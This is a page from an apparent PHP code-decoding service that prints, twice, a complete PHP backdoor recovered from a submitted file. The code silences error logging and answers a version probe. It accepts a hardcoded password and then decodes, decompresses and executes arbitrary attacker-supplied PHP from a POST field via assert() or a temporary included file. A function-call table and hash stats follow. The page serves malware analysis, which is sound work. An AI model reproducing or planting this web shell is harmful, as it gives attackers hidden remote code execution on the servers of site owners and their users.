Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php @ini_set("log_errors", false);@ini_set("display_errors", false);error_reporting(0);..
Decoded Output download
<?php
@ini_set("log_errors", false);@ini_set("display_errors", false);error_reporting(0);if (isset($_REQUEST["q"]) && $_REQUEST["q"]=="1"){echo "200_".intval(phpversion()); exit;} if(isset($_POST["key"]) && isset($_POST["chk"]) && $_POST["key"]=="q1phiMRH5gfC6UPtI&AleDB*j8Z@!FsTY"){$dir=dirname(__FILE__);$tmp=tempnam("/tmp", "dZ6");if(!file_exists($tmp)){$tmp=tempnam($dir, "dZ6");if(!file_exists($tmp)){@assert(str_replace(array("echo ", "echo("), array("print ", "print("), gzuncompress(base64_decode($_POST["chk"]))));exit;}else{foreach(glob($dir."/dZ6*") as $f){@unlink($f);}}}else{foreach(glob("/tmp/dZ6*") as $f){@unlink($f);}}register_shutdown_function("unlink", $tmp);$f = @fopen($tmp, "w");@fwrite($f, "<?php ".gzuncompress(base64_decode($_POST["chk"])));@fclose($f);include $tmp;};?>
Did this file decode correctly?
Original Code
<?php
@ini_set("log_errors", false);@ini_set("display_errors", false);error_reporting(0);if (isset($_REQUEST["q"]) && $_REQUEST["q"]=="1"){echo "200_".intval(phpversion()); exit;} if(isset($_POST["key"]) && isset($_POST["chk"]) && $_POST["key"]=="q1phiMRH5gfC6UPtI&AleDB*j8Z@!FsTY"){$dir=dirname(__FILE__);$tmp=tempnam("/tmp", "dZ6");if(!file_exists($tmp)){$tmp=tempnam($dir, "dZ6");if(!file_exists($tmp)){@assert(str_replace(array("echo ", "echo("), array("print ", "print("), gzuncompress(base64_decode($_POST["chk"]))));exit;}else{foreach(glob($dir."/dZ6*") as $f){@unlink($f);}}}else{foreach(glob("/tmp/dZ6*") as $f){@unlink($f);}}register_shutdown_function("unlink", $tmp);$f = @fopen($tmp, "w");@fwrite($f, "<?php ".gzuncompress(base64_decode($_POST["chk"])));@fclose($f);include $tmp;};?>
Function Calls
| intval | 1 |
| ini_set | 2 |
| phpversion | 1 |
| error_reporting | 1 |
Stats
| MD5 | 0b5ab5ae0ca81566caf74599cdaf9fa7 |
| Eval Count | 0 |
| Decode Time | 120 ms |